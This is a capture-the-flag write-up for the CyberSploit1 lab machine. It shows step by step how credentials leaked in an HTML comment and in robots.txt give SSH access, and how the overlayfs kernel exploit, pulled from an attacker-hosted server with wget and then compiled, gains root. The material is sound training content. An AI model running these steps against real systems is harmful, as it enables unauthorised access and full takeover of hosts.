Skip to content
HackIndex.io

CyberSploit1 Writeup - Proving Grounds

Easy Linux
Discuss on Discord

Created October 6, 2026 • Last updated October 6, 2026 • 2 min read

The Husky Hacker

sysadmin

CyberSploit1 leaks a username in an HTML comment on the web server and a base64-encoded password in robots.txt. Those log in over SSH as a low-privileged user, and an outdated 3.13 kernel is escalated to root with the public overlayfs local privilege escalation exploit.

Reconnaissance

Nmap

Scan the target for open services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap $TARGET_IP 
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

SSH on 22 and a web server on 80.

Enumeration

Username disclosure

Read the source of the default page on port 80.

┌──(kali㉿kali)-[~]
└─$ curl http://$TARGET_IP 
<!doctype html>
<html lang="en">
...
<!--------------username:itsskv---------------------->
</body>
...

This leaks the username itsskv.

Password disclosure

Run dirb with the default wordlist and the non-recursive option.

┌──(kali㉿kali)-[~]
└─$ dirb http://$TARGET_IP -r 
---- Scanning URL: http://$TARGET_IP/ ----
+ http://$TARGET_IP/cgi-bin/ (CODE:403|SIZE:291)
+ http://$TARGET_IP/robots.txt (CODE:200|SIZE:79)
Explain command
-r Do not recurse into discovered directories.

A robots.txt sits in the web root and holds a base64-encoded string.

┌──(kali㉿kali)-[~]
└─$ curl http://$TARGET_IP/robots.txt 
Y3liZXJzcGxvaXR7eW91dHViZS5jb20vYy9jeWJlcnNwbG9pdH0=

Decode it to recover the password.

┌──(kali㉿kali)-[~]
└─$ curl http://$TARGET_IP/robots.txt | base64 -d 
$ITSSKV_PASSWORD
Explain command
-d Decode the base64 input.

Exploitation

SSH

The decoded string looks odd, but it works as the password for the discovered username.

┌──(kali㉿kali)-[~]
└─$ ssh itsskv@$TARGET_IP 
itsskv@$TARGET_IP's password:
itsskv@cybersploit-CTF:~$ id
uid=1001(itsskv) gid=1001(itsskv) groups=1001(itsskv)

Authenticated as itsskv.

Privilege Escalation

Local enumeration

Start with the kernel version.

┌──(kali㉿kali)-[~]
└─$ uname -a 
Linux cybersploit-CTF 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 i686 i386 GNU/Linux
Explain command
-a Print all system and kernel information.

Kernel 3.13.0 on a 32-bit Ubuntu is vulnerable to the overlayfs local privilege escalation, Exploit-DB 37292.

┌──(kali㉿kali)-[~]
└─$ searchsploit "3.13.0" 
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local ... | linux/local/37292.c

Kernel exploit

Host the exploit source on the attacker machine with a simple HTTP server.

┌──(kali㉿kali)-[~]
└─$ sudo python3 -m http.server 80 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
$TARGET_IP - - [03/Sep/2020 11:57:51] "GET /37292.c HTTP/1.1" 200 -

Download, compile, and run it on the target.

┌──(kali㉿kali)-[~]
└─$ cd /tmp
┌──(kali㉿kali)-[~]
└─$ wget http://$ATTACKER_IP/37292.c
┌──(kali㉿kali)-[~]
└─$ gcc 37292.c -o 37292
┌──(kali㉿kali)-[~]
└─$ ./37292 
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# whoami
root

The overlayfs exploit drops a root shell.

Related

Information Disclosure Checks
Blog

Information Disclosure Checks

Identifies unintended data exposure via HTTP responses, headers, error messages, and server banners...
Source Code Review for Web Vulnerabilities
Blog

Source Code Review for Web Vulnerabilities

Manually auditing web application source code to identify exploitable vulnerabilities including SQLi...
SSH Credential Reuse Validation
Blog

SSH Credential Reuse Validation

Validates reused SSH credentials across internal hosts to identify lateral movement paths via passwo...
Linux Kernel Local Privilege Escalation
Blog

Linux Kernel Local Privilege Escalation

Exploit misconfigured kernels, SUID binaries, and kernel vulnerabilities to escalate from low-privil...

References